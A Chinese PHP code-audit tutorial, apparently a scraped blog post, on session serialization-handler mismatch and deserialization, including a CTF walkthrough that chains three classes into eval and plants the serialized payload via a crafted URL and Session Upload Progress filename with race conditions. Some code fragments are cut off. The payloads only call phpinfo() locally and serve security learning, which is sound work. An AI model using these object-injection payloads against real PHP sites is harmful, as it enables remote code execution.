php代码审计15.2之Session与反序列化

文章目录

  • 1、php.ini配置文件中与session相关的配置
      • 1.1、pip文件中的相关配置
      • 1.2、session本地存储文件
  • 2、Session序列化漏洞利用
      • 2.1、限制
      • 2.2、一般的反序列化情况
      • 2.3、 Session中的序列化漏洞
  • 3、session序列化之ctf
      • 3.1、题目文件
      • 3.2、分析class.php文件
      • 3.3、可控session的问题
      • 3.4、通过上传写入session
      • 3.5、补充点

1、php.ini配置文件中与session相关的配置

1.1、pip文件中的相关配置


session.save_path							设置session的存储路径

session.auto_start						指定会话模块是否在请求开始时启动一个会话,默认为0不启动

session.save_handler					设定用户自定义session存储函数,
															如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler				
		
		定义用来序列化/反序列化的处理器名字。
		
		默认使用php;该属性可以在phpinfo中看到
php.ini配置文件中session.serialize_handler的默认值是php,

但是假设开发想使用别的程序,可以在代码中指定,

1.2、session本地存储文件

php的session在整个会话过程中,其值并不是保存到内存中,

但是服务器上的文件内,保存路径可以在phpinfo中的 session.save_path 找到,

具体的文件名结构为:sess_PHPSESSID的值

比如,


访问得到PHPSESSID的值为:a0oh9n0823t3kaaghe8rd13jt4

php代码审计15.2之Session与反序列化_第1张图片

综合文件名称为:sess_a0oh9n0823t3kaaghe8rd13jt4

php代码审计15.2之Session与反序列化_第2张图片

看到具体内容为name|s:3:"sec";

session本地文件存储在引擎设置为php的格式为,

php引擎方式存储:键名+竖线 |+经过serialize()函数序列处理的值

当引擎设置为php_serialize可以看下内容为,


a:1:{s:4:"name";s:3:"sec";}

格式为,

a:1:{key与value同时进行序列化}

2、Session序列化漏洞利用

2.1、限制

● pip配置文件内session.serialize_handler的值是php(默认)

● 开发在代码中设置session反序列化的引擎为php_serialize

● $_SESSION的值可控

● 要有可利用的反序列化的类/函数(同时本页面要有session_start();)

有session_strart()就会读取session文件内的内容并进行反序列化,

2.2、一般的反序列化情况

目标代码,

func = "phpinfo()";
	}
	function __wakeup(){
		eval($this->func);
	}
}
unserialize($_GET['a']);

?>

生成payload,

func = "echo xbb;";
	}
	function __wakeup(){
		eval($this->func);
	}
}
//unserialize($_GET['a']);

$a = new syclover();
echo serialize($a)
?>

得到payload,

O:8:"syclover":1:{s:4:"func";s:9:"echo xbb;";}

php代码审计15.2之Session与反序列化_第3张图片

2.3、 Session中的序列化漏洞

PHP中的Session的实现本身是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。

构造一个满足上述4条限制的场景,下边是两个目标文件,

aaa.php,使用php_serialize来处理session

bbb.php,使用php来处理session

hi = 'phpinfo();';
  }
  
  function __destruct() {
  	eval($this->hi);
  }
}
// O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

先构造bbb.php中的payload,

O:5:"lemon":1:{s:2:"hi";s:11:"echo "xbb";";}
依次访问先将内容写入sess文件,然后在反序列化;

在第二次反序列化的时候,仅仅反序列化“|”符合后的字符串,即

O:5:"lemon":1:{s:2:"hi";s:11:"echo "xbb";";}

php代码审计15.2之Session与反序列化_第4张图片

3、session序列化之ctf

3.1、题目文件

class.php

varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "
文件".$this->varr."存在
"; } echo "
这是foo1的析构函数
"; } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = null; } function __toString(){ // 类被当作字符串时被调用 $this->obj->execute(); return $this->varr; } function __desctuct(){ echo "
这是foo2的析构函数
"; } } class foo3{ public $varr; function execute(){ eval($this->varr); } function __desctuct(){ echo "
这是foo3的析构函数
"; } }

index.php

varr = "phpinfo.php";
?>

3.2、分析class.php文件

foo3内的execute函数可以触发命令执行,

该函数可以在foo2的__toString函数调用,

而__toString函数可以被foo1的file_exist函数触发,

先本地构建foo3,尝试可以执行的代码,

	$foo3 = new foo3();
	$foo3->varr = "phpinfo();";
	$foo3->execute();

没问题之后,直接实现上边的思路

	$foo3 = new foo3();
	$foo3->varr = "phpinfo();";
	#$foo3->execute();

	$foo2 = new foo2();
	$foo2->obj = $foo3;
	$foo1 = new foo1();
	$foo1->varr=$foo2;

同样正常的打印出phpinfo。

3.3、可控session的问题

这个题目没有给可控写session的地方,先模拟写入session看看是否符合预期,

echo serialize($foo1);得到

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

构造写入session的代码,

php代码审计15.2之Session与反序列化_第5张图片

先访问写入session,在访问触发;这个“|”符合别忘了
http://127.0.0.1/bbb.php?a=|O:4:%22foo1%22:1:{s:4:%22varr%22;O:4:%22foo2%22:2:{s:4:%22varr%22;s:10:%221234567890%22;s:3:%22obj%22;O:4:%22foo3%22:1:{s:4:%22varr%22;s:10:%22phpinfo();%22;}}}

可以触发漏洞,
php代码审计15.2之Session与反序列化_第6张图片
现在问题来了,上边的是我们假设存在bbb.php写入session文件的情况,

但是现实是没有这种文件/代码的,这种情况下该如何办呢?

3.4、通过上传写入session

写入的方式主要是利用PHP中Session Upload Progress来进行设置,

具体为,在上传文件时,如果同时POST一个与与INI中PHP_SESSION_UPLOAD_PROGRESS同名的变量,

当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,

即就可以将filename的值赋值到session中,所以可以通过Session Upload Progress来设置session。

如果session.upload_progress.cleanup=On的情况下需要竞争提交,
	
	默认为On(为off就不用条件竞争了)

	通过phpinfo()页也可以看到

另外注意设置,不然写入php.ini的session是错误的,
	
	session.serialize_handler = php_serialize

所以为了方便复现,先手动设置pip文件,
	
	session.upload_progress.cleanup=On

	session.serialize_handler = php_serialize

上传的页面的写法如下:

利用前面的html页面随便上传一个东西,抓包,在包中把filename改为如下:

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

为防止转义,在引号前加上反斜杠\。

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

注意与本地反序列化不一样的地方是要在最前方加上| ,因为这是php引擎的格式。

php代码审计15.2之Session与反序列化_第7张图片
另外发现这个地方也可以成功,

php代码审计15.2之Session与反序列化_第8张图片

3.5、补充点

该地方最开始很多同学复现极少成功,原因是使用上边的html文件进行文件上传,没有携带cookie,

这样的一个明显情况就是,本地的本地的session文件目录下,每次请求都会多一个文件,但是内容都是空,

这个点,谷歌百度没有找到一例成功解决的,笔者也是多次测试得到的结论
php代码审计15.2之Session与反序列化_第9张图片
现在是最理想的情况下,当出现 session.upload_progress.cleanup=On 的情况下,

就得通过条件竞争来实现了,修改配置文件,重启后查看phpinfo,已经改回来了,

php代码审计15.2之Session与反序列化_第10张图片
此时再次发送之前成功的数据包,就会失败,
php代码审计15.2之Session与反序列化_第11张图片
直接条件竞争,成功
php代码审计15.2之Session与反序列化_第12张图片

你可能感兴趣的:(代码审计,php,android,开发语言)